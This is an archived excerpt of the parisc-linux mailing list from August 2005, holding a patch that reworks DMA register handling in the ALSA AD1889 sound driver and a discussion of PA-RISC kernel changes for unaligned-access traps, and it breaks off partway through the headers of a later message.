X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23037

On Sunday 07 August 2005 06:31 pm, John David Anglin wrote:
> > hrm, i only have version 1.43 from October 6, 1997 ... can i get a copy
> > of your updated version and/or a URL for it ? :)
>
> There doesn't seem to be a link to it on the www.parisc-linux.org
> site but it's here <http://ftp.parisc-linux.org/docs/arch/elf-pa-hp.pdf>.

great, thanks

while we're on the subject of Processor-Specific ELF Supplements, anyone know 
where i can find the one for Alpha ? :)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clemens Ladisch <clemens@ladisch.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Thu, 11 Aug 2005 17:18:31 +0200 (METDST)
Lines: 369
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.33n.0508111716090.21860-100000__44916.9676438489$1416623886$gmane$org@studcom.urz.uni-halle.de>
References: <Pine.HPX.4.33n.0508041503020.11474-100000@studcom.urz.uni-halle.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623886 16041 80.91.229.3 (22 Nov 2014 02:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:06 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 15:18:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 11 Aug 2005 17:18:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A7157D73D;
	Thu, 11 Aug 2005 09:18:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32747-03; Thu, 11 Aug 2005 09:18:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D3737D741;
	Thu, 11 Aug 2005 09:18:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FA597D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 09:18:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32348-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 09:18:34 -0600 (MDT)
Original-Received: from mailgate.uni-halle.de (mailgate.urz.Uni-Halle.DE [141.48.3.51])
	by free.linux.hp.com (Postfix) with ESMTP id 322977D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 09:18:34 -0600 (MDT)
Original-Received: from studcom.urz.uni-halle.de ([141.48.3.19])
	by mailgate.uni-halle.de with esmtp  (Exim 4.52)
	id 1E3EpE-0003a3-Nd ; Thu, 11 Aug 2005 17:18:32 +0200
Original-Received: from localhost (aezr4@localhost)
	by studcom.urz.uni-halle.de (8.9.3 (PHNE_28760_binary)/8.9.3) with
	ESMTP id RAA29165; Thu, 11 Aug 2005 17:18:31 +0200 (METDST)
X-Authentication-Warning: studcom.urz.uni-halle.de: aezr4 owned process doing
	-bs
In-Reply-To: <Pine.HPX.4.33n.0508041503020.11474-100000@studcom.urz.uni-halle.de>
X-Scan-Signature: 111ca506c161eb6654f85187939d510e
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AwmJYvxEeSEkOr6WZHQhaXN1IGRvb4Co
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23038

I wrote:
> Thibaut VARENE wrote:
> > Attached is a patch against 2.6.13-rc4 providing support for Analog
> > Devices AD1889 PCI Sound chip, which is especially found on some HP
> > PA-RISC machines.
>
> I don't actually have this hardware :-), but the docs don't mention
> any dependency between the count registers (BC, CC) and the interrupt
> count registers (IC, IB).
>
> So wouldn't it be possible to put the ALSA buffer size into the count
> registers and the ALSA period size into the interrupt count registers?
>
> This would make the interrupt handler much simpler, as it wouldn't
> have to reprogram any registers.  And it would solve the problem that
> the DMA accesses for one period go beyond the buffer when the number
> of periods per buffer is not an integer.

... something like this (please test):


Index: alsa/alsa-driver/pci/ad1889.h
===================================================================
--- alsa.orig/alsa-driver/pci/ad1889.h	2005-08-04 17:56:50.000000000 +0200
+++ alsa/alsa-driver/pci/ad1889.h	2005-08-11 11:54:38.000000000 +0200
@@ -172,13 +172,6 @@
 #define AD_ADC_STATE	1
 #define AD_MAX_STATES	2

-/* "<ggg> T-Bone: parisc IOMMU can start DMA at any address.
-   But the IOMMU can only map at page size granularity."
-   This affects in particular .period_bytes_min */
-#define BUF_SIZE        PAGE_SIZE
-#define MAX_BUFS        32
-#define DMA_SIZE	(MAX_BUFS*BUF_SIZE)
-
 #define AD_CHAN_WAV	0x0001
 #define AD_CHAN_ADC	0x0002
 #define AD_CHAN_RES	0x0004
Index: alsa/alsa-driver/pci/ad1889.c
===================================================================
--- alsa.orig/alsa-driver/pci/ad1889.c	2005-08-11 10:46:42.000000000 +0200
+++ alsa/alsa-driver/pci/ad1889.c	2005-08-11 12:21:21.000000000 +0200
@@ -87,15 +87,11 @@ MODULE_PARM_DESC(ac97_quirk, "AC'97 work
 /* let's use the global sound debug interfaces */
 #define ad1889_debug(fmt, arg...) snd_printd(KERN_DEBUG fmt, ## arg)

-/* keep track of each hw register */
+/* keep track of some hw registers */
 struct ad1889_register_state {
 	u16 reg;	/* reg setup */
 	u32 addr;	/* dma base address */
-	u16 rate;	/* sample rate */
-	unsigned long pos;	/* last recorded DMA buffer position */
-	unsigned long buf;	/* period # */
 	unsigned long size;	/* DMA buffer size */
-	unsigned long count;	/* period size, aka nb bytes sent in the current DMA transfer */
 };

 struct snd_ad1889 {
@@ -118,13 +114,6 @@ struct snd_ad1889 {
 	struct ad1889_register_state wave;
 	struct ad1889_register_state ramc;

-	struct {
-		unsigned long wav_intr;
-		unsigned long adc_intr;
-		unsigned long syn_intr;
-		unsigned long res_intr;
-	} stats;
-
 	spinlock_t lock;
 };

@@ -172,22 +161,46 @@ ad1889_mute(struct snd_ad1889 *chip)
 }

 static inline void
-ad1889_load_adc_count(struct snd_ad1889 *chip, u32 count)
+ad1889_load_adc_buffer_address(struct snd_ad1889 *chip, u32 address)
+{
+	ad1889_writel(chip, AD_DMA_ADCBA, address);
+	ad1889_writel(chip, AD_DMA_ADCCA, address);
+}
+
+static inline void
+ad1889_load_adc_buffer_count(struct snd_ad1889 *chip, u32 count)
 {
 	ad1889_writel(chip, AD_DMA_ADCBC, count);
 	ad1889_writel(chip, AD_DMA_ADCCC, count);
+}
+
+static inline void
+ad1889_load_adc_interrupt_count(struct snd_ad1889 *chip, u32 count)
+{
 	ad1889_writel(chip, AD_DMA_ADCIB, count);
 	ad1889_writel(chip, AD_DMA_ADCIC, count);
-}
+}
+
+static inline void
+ad1889_load_wave_buffer_address(struct snd_ad1889 *chip, u32 address)
+{
+	ad1889_writel(chip, AD_DMA_WAVBA, address);
+	ad1889_writel(chip, AD_DMA_WAVCA, address);
+}

 static inline void
-ad1889_load_wave_count(struct snd_ad1889 *chip, u32 count)
+ad1889_load_wave_buffer_count(struct snd_ad1889 *chip, u32 count)
 {
 	ad1889_writel(chip, AD_DMA_WAVBC, count);
 	ad1889_writel(chip, AD_DMA_WAVCC, count);
+}
+
+static inline void
+ad1889_load_wave_interrupt_count(struct snd_ad1889 *chip, u32 count)
+{
 	ad1889_writel(chip, AD_DMA_WAVIB, count);
 	ad1889_writel(chip, AD_DMA_WAVIC, count);
-}
+}

 static void
 ad1889_channel_reset(struct snd_ad1889 *chip, unsigned int channel)
@@ -207,9 +220,9 @@ ad1889_channel_reset(struct snd_ad1889 *
 		ad1889_writew(chip, AD_DMA_WAV, reg);

 		/* clear IRQ and address counters and pointers */
-		ad1889_load_wave_count(chip, 0x0);
-		ad1889_writel(chip, AD_DMA_WAVBA, 0x0);
-		ad1889_writel(chip, AD_DMA_WAVCA, 0x0);
+		ad1889_load_wave_buffer_address(chip, 0x0);
+		ad1889_load_wave_buffer_count(chip, 0x0);
+		ad1889_load_wave_interrupt_count(chip, 0x0);

 		/* flush */
 		ad1889_readw(chip, AD_DMA_WAV);
@@ -226,9 +239,9 @@ ad1889_channel_reset(struct snd_ad1889 *
 		reg &= ~AD_DMA_LOOP;
 		ad1889_writew(chip, AD_DMA_ADC, reg);

-		ad1889_load_adc_count(chip, 0x0);
-		ad1889_writel(chip, AD_DMA_ADCBA, 0x0);
-		ad1889_writel(chip, AD_DMA_ADCCA, 0x0);
+		ad1889_load_adc_buffer_address(chip, 0x0);
+		ad1889_load_adc_buffer_count(chip, 0x0);
+		ad1889_load_adc_interrupt_count(chip, 0x0);

 		/* flush */
 		ad1889_readw(chip, AD_DMA_ADC);
@@ -290,11 +303,11 @@ static snd_pcm_hardware_t snd_ad1889_pla
 	.rate_max = 48000,
 	.channels_min = 1,
 	.channels_max = 2,
-	.buffer_bytes_max = DMA_SIZE,	/* max DMA buffer size in bytes */
-	.period_bytes_min = BUF_SIZE,	/* min size of period in bytes */
-	.period_bytes_max = DMA_SIZE,	/* max size of period in bytes */
-	.periods_min = 1,		/* min nb of periods in buffer */
-	.periods_max = MAX_BUFS,
+	.buffer_bytes_max = 256 * 1024,
+	.period_bytes_min = 32,
+	.period_bytes_max = 128 * 1024,
+	.periods_min = 2,
+	.periods_max = 256,
 	/*.fifo_size = 0,*/
 };

@@ -307,11 +320,11 @@ static snd_pcm_hardware_t snd_ad1889_cap
 	.rate_max = 48000,
 	.channels_min = 1,
 	.channels_max = 2,
-	.buffer_bytes_max = DMA_SIZE,	/* max DMA buffer size in bytes */
-	.period_bytes_min = BUF_SIZE,	/* min size of period in bytes */
-	.period_bytes_max = DMA_SIZE,	/* max size of period in bytes */
-	.periods_min = 1,		/* min nb of periods in buffer */
-	.periods_max = MAX_BUFS,
+	.buffer_bytes_max = 256 * 1024,
+	.period_bytes_min = 32,
+	.period_bytes_max = 128 * 1024,
+	.periods_min = 2,
+	.periods_max = 256,
 	/*.fifo_size = 0,*/
 };

@@ -381,24 +394,18 @@ snd_ad1889_playback_prepare(snd_pcm_subs
 	spin_lock_irq(&chip->lock);

 	chip->wave.size = size;
-	chip->wave.count = count;
 	chip->wave.reg = reg;
-	chip->wave.buf = 0;
-	chip->wave.pos = 0;
-	chip->wave.rate = rt->rate;
 	chip->wave.addr = rt->dma_addr;

 	ad1889_writew(chip, AD_DS_WSMC, chip->wave.reg);

 	/* Set sample rates on the codec */
-	ad1889_writew(chip, AD_DS_WAS, chip->wave.rate);
+	ad1889_writew(chip, AD_DS_WAS, rt->rate);

-	/* Set up DMA: first chunk address in curr addr, next one in base addr.
-	   Base will be loaded into curr by the hardware upon interrupt
-	   (as we use LOOP). Count holds the size of the chunk. */
-	ad1889_writel(chip, AD_DMA_WAVCA, chip->wave.addr);
-	ad1889_writel(chip, AD_DMA_WAVBA, chip->wave.addr + (count % size));
-	ad1889_load_wave_count(chip, chip->wave.count);
+	/* Set up DMA */
+	ad1889_load_wave_buffer_address(chip, chip->wave.addr);
+	ad1889_load_wave_buffer_count(chip, size);
+	ad1889_load_wave_interrupt_count(chip, count);

 	/* writes flush */
 	ad1889_readw(chip, AD_DS_WSMC);
@@ -407,7 +414,7 @@ snd_ad1889_playback_prepare(snd_pcm_subs

 	ad1889_debug("prepare playback: addr = 0x%x, count = %u, "
 			"size = %u, reg = 0x%x, rate = %u\n", chip->wave.addr,
-			count, size, reg, chip->wave.rate);
+			count, size, reg, rt->rate);
 	return 0;
 }

@@ -437,21 +444,15 @@ snd_ad1889_capture_prepare(snd_pcm_subst
 	spin_lock_irq(&chip->lock);

 	chip->ramc.size = size;
-	chip->ramc.count = count;
 	chip->ramc.reg = reg;
-	chip->ramc.buf = 0;
-	chip->ramc.pos = 0;
-	chip->ramc.rate = rt->rate;
 	chip->ramc.addr = rt->dma_addr;

 	ad1889_writew(chip, AD_DS_RAMC, chip->ramc.reg);

-	/* Set up DMA: first chunk address in curr addr, next one in base addr.
-	   Base will be loaded into curr by the hardware upon interrupt
-	   (as we use LOOP). Count holds the size of the chunk. */
-	ad1889_writel(chip, AD_DMA_ADCCA, chip->ramc.addr);
-	ad1889_writel(chip, AD_DMA_ADCBA, chip->ramc.addr + (count % size));
-	ad1889_load_adc_count(chip, chip->ramc.count);
+	/* Set up DMA */
+	ad1889_load_adc_buffer_address(chip, chip->ramc.addr);
+	ad1889_load_adc_buffer_count(chip, size);
+	ad1889_load_adc_interrupt_count(chip, count);

 	/* writes flush */
 	ad1889_readw(chip, AD_DS_RAMC);
@@ -460,7 +461,7 @@ snd_ad1889_capture_prepare(snd_pcm_subst

 	ad1889_debug("prepare capture: addr = 0x%x, count = %u, "
 			"size = %u, reg = 0x%x, rate = %u\n", chip->ramc.addr,
-			count, size, reg, chip->ramc.rate);
+			count, size, reg, rt->rate);
 	return 0;
 }

@@ -607,7 +608,6 @@ snd_ad1889_interrupt(int irq,
 		     struct pt_regs *regs)
 {
 	unsigned long st;
-	unsigned long next;
 	struct snd_ad1889 *chip = dev_id;

 	st = ad1889_readl(chip, AD_DMA_DISR);
@@ -623,82 +623,12 @@ snd_ad1889_interrupt(int irq,
 	if (st & (AD_DMA_DISR_PMAI|AD_DMA_DISR_PTAI))
 		ad1889_debug("Unexpected master or target abort interrupt!\n");

-	if (chip->pcm && (st & AD_DMA_DISR_WAVI) && chip->psubs) {
-		spin_lock(&chip->lock);
-
-		chip->stats.wav_intr++;
-
-		chip->wave.buf++;
-
-		/* calculate the current position: we get interrupts everytime
-		   the buffer empties, thus every wave.count bytes transfered */
-		chip->wave.pos += chip->wave.count;
-		chip->wave.pos %= chip->wave.size;
-
-		/* the next buffer will thus be current position + wave.count
-		   bytes away */
-		next = chip->wave.pos + chip->wave.count;
-		next %= chip->wave.size;
-
-		/* Load new DMA parameters (aka "the next chunk" in Base
-		   registers: upon next interrupt, they'll be automatically
-		   loaded in the Current registers, and we'll end up here
-		   preparing the new ones. Since "count" never gets modified
-		   elsewhere than in _prepare, we don't need to rewrite it. */
-		ad1889_writel(chip, AD_DMA_WAVBA, chip->wave.addr + next);
-
-		ad1889_readl(chip, AD_DMA_WAVBA); /* flush all those writes */
-
-		spin_unlock(&chip->lock);
-
+	if ((st & AD_DMA_DISR_WAVI) && chip->psubs)
 		snd_pcm_period_elapsed(chip->psubs);
-#if 0
-		ad1889_debug("chip->wave.pos = %d, chip->wave.count = %d, "
-				"chip->wave.size = %d\n", chip->wave.pos,
-				chip->wave.count, chip->wave.size);
-		ad1889_debug("chip->wave.addr (0x%lx) + next (0x%lx) = 0x%lx\n",
-				chip->wave.addr, next, chip->wave.addr + next);
-#endif
-	}
-
-	if (chip->pcm && (st & AD_DMA_DISR_ADCI) && chip->csubs) {
-		spin_lock(&chip->lock);
-
-		chip->stats.adc_intr++;
-
-		chip->ramc.buf++;
-
-		/* calculate the current position: we get interrupts everytime
-		   the buffer empties, thus every wave.count bytes transfered */
-		chip->ramc.pos += chip->ramc.count;
-		chip->ramc.pos %= chip->ramc.size;
-
-		/* the next buffer will thus be current position + wave.count
-		   bytes away */
-		next = chip->ramc.pos + chip->ramc.count;
-		next %= chip->ramc.size;
-
-		/* Load new DMA parameters (aka "the next chunk" in Base
-		   registers: upon next interrupt, they'll be automatically
-		   loaded in the Current registers, and we'll end up here
-		   preparing the new ones. Since "count" never gets modified
-		   elsewhere than in _prepare, we don't need to rewrite it. */
-		ad1889_writel(chip, AD_DMA_ADCBA, chip->ramc.addr + next);
-
-		ad1889_readl(chip, AD_DMA_ADCBA); /* flush all those writes */
-
-		spin_unlock(&chip->lock);
-
+	if ((st & AD_DMA_DISR_ADCI) && chip->csubs)
 		snd_pcm_period_elapsed(chip->csubs);
-#if 0
-		ad1889_debug("chip->ramc.pos = %d, chip->ramc.count = %d, "
-				"chip->ramc.size = %d\n", chip->ramc.pos,
-				chip->ramc.count, chip->ramc.size);
-		ad1889_debug("chip->ramc.addr (0x%lx) + next (0x%lx) = 0x%lx\n",
-				chip->ramc.addr, next, chip->ramc.addr + next);
-#endif
-	}

+	ad1889_readl(chip, AD_DMA_DISR); /* flush */
 	/* XXX under some circumstances the DISR write flush may not happen */

 	return IRQ_HANDLED;
@@ -741,7 +671,7 @@ snd_ad1889_pcm_init(struct snd_ad1889 *c

 	err = snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_DEV,
 						snd_dma_pci_data(chip->pci),
-						DMA_SIZE, DMA_SIZE);
+						128 * 1024, 256 * 1024);

 	if (err < 0) {
 		snd_printk(KERN_ERR PFX "buffer allocation error: %d\n", err);

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New debian libc6 2.3.5: glibc bug or kernel bug???
Date: Thu, 11 Aug 2005 12:14:03 -0400
Lines: 97
Approved: news@gmane.org
Message-ID: <20050811161403.GJ18837@roadwarrior.mcmartin.ca>
References: <IL2FAI$E2431D04B8D36037CE9372A0DCCE240D@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623886 16044 80.91.229.3 (22 Nov 2014 02:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 16:16:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 11 Aug 2005 18:16:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B19B7D73D;
	Thu, 11 Aug 2005 10:15:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00573-06; Thu, 11 Aug 2005 10:15:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7160C7D741;
	Thu, 11 Aug 2005 10:15:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83ECA7D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 10:15:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00419-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 10:15:55 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id D09B67D73B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Aug 2005 10:15:54 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id E848B17050;
	Thu, 11 Aug 2005 12:15:53 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26256-09; Thu, 11 Aug 2005 12:15:43 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id E900717081; Thu, 11 Aug 2005 12:15:42 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x74100554-52656d6f746546617454697265-494e424f582e4f7574626f78: 1123776894-0178438377738-v4.0.10
Content-Disposition: inline
In-Reply-To: <IL2FAI$E2431D04B8D36037CE9372A0DCCE240D@scarlet.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lByJYmZdeSEkMb6WZHQhaXN1IGRvb0AM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23039

On Thu, Aug 11, 2005 at 06:03:54PM +0200, Joel Soete wrote:
> mmm, I am looking to the diff between 2.6.11 and 2.6.12 in p-l field only
> (i.e. arch/parisc and include/asm-parisc) and find a few related to threads
> excepted those hunks:

This should only effect unaligned traps, and only if the process has
flags set with prctl.

> --- linux-2.6.11.12-pa4-050316-gcc40/arch/parisc/kernel/unaligned.c
> 2004-10-04 21:12:49.000000000 +0200
> +++ linux-2.6.12.2-pa2-050626/arch/parisc/kernel/unaligned.c    2005-07-12
> 18:04:51.000000000 +0200
> @@ -513,15 +513,18 @@
>         register int flop=0;    /* true if this is a flop */
> 
>         /* log a message with pacing */
> -       if (user_mode(regs))
> -       {
> -               if (unaligned_count > 5 && jiffies - last_time > 5*HZ)
> -               {
> +       if (user_mode(regs)) {
> +                if (current->thread.flags & PARISC_UAC_SIGBUS) {
> +                        goto force_sigbus;
> +                }
> +
> +               if (unaligned_count > 5 && jiffies - last_time > 5*HZ) {
>                         unaligned_count = 0;
>                         last_time = jiffies;
>                 }
> -               if (++unaligned_count < 5)
> -               {
> +
> +               if (!(current->thread.flags & PARISC_UAC_NOPRINT)
> +                    && ++unaligned_count < 5) {
>                         char buf[256];
>                         sprintf(buf, "%s(%d): unaligned access to 0x" RFMT "
> at ip=0x" RFMT "\n",
>                                 current->comm, current->pid, regs->ior,
> regs->iaoq[0]);
> ====<>====
> --- linux-2.6.11.12-pa4-050316-gcc40/include/asm-parisc/processor.h
> 2005-01-13 08:53:35.000000000 +0100
> +++ linux-2.6.12.2-pa2-050626/include/asm-parisc/processor.h    2005-05-20
> 07:47:27.000000000 +0200
> @@ -121,8 +121,27 @@
>  };
> 
>  /* Thread struct flags. */
> +#define PARISC_UAC_NOPRINT     (1UL << 0)      /* see prctl and unaligned.c */
> +#define PARISC_UAC_SIGBUS      (1UL << 1)
>  #define PARISC_KERNEL_DEATH    (1UL << 31)     /* see die_if_kernel()... */
> 
> +#define PARISC_UAC_SHIFT       0
> +#define PARISC_UAC_MASK                (PARISC_UAC_NOPRINT|PARISC_UAC_SIGBUS)
> +
> +#define SET_UNALIGN_CTL(task,value)                                       \
> +        ({                                                                \
> +        (task)->thread.flags = (((task)->thread.flags & ~PARISC_UAC_MASK) \
> +                                | (((value) << PARISC_UAC_SHIFT) &        \
> +                                   PARISC_UAC_MASK));                     \
> +        0;                                                                \
> +        })
> +
> +#define GET_UNALIGN_CTL(task,addr)                                        \
> +        ({                                                                \
> +        put_user(((task)->thread.flags & PARISC_UAC_MASK)                 \
> +                 >> PARISC_UAC_SHIFT, (int __user *) (addr));             \
> +        })
> +
>  #define INIT_THREAD { \
>         regs:   {       gr: { 0, }, \
>                         fr: { 0, }, \
> 
> ====<>====
> 
> Sorry no more time today for me to check but may be could you have a look with
> tausq, patoferio and al ;-)
> 
> Thanks,
>     Joel
> 
> 
> -------------------------------------------------------
> NOTE! My email address is changing to ... @scarlet.be
> Please make the necessary changes in your address book. 
> 
> 
> 

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: [PATCH] IDE: don't offer IDE_GENERIC on ia64
Date: Thu, 11 Aug 2005 16:26:45 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20050811202645.GA14400@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623886 16046 80.91.229.3 (22 Nov 2014 02:38:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Aug 2005 20:28:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 11 Aug 2005 22:28:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A03B7D72F;
	Thu, 11 Aug 2005 14:28:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01620-09; Thu, 11 Aug 2005 14:28:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 83E897D730;
	Thu, 11 Aug 2005 14:28:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C54127D720
	for <parisc-linux@lists.parisc-linux.org>;
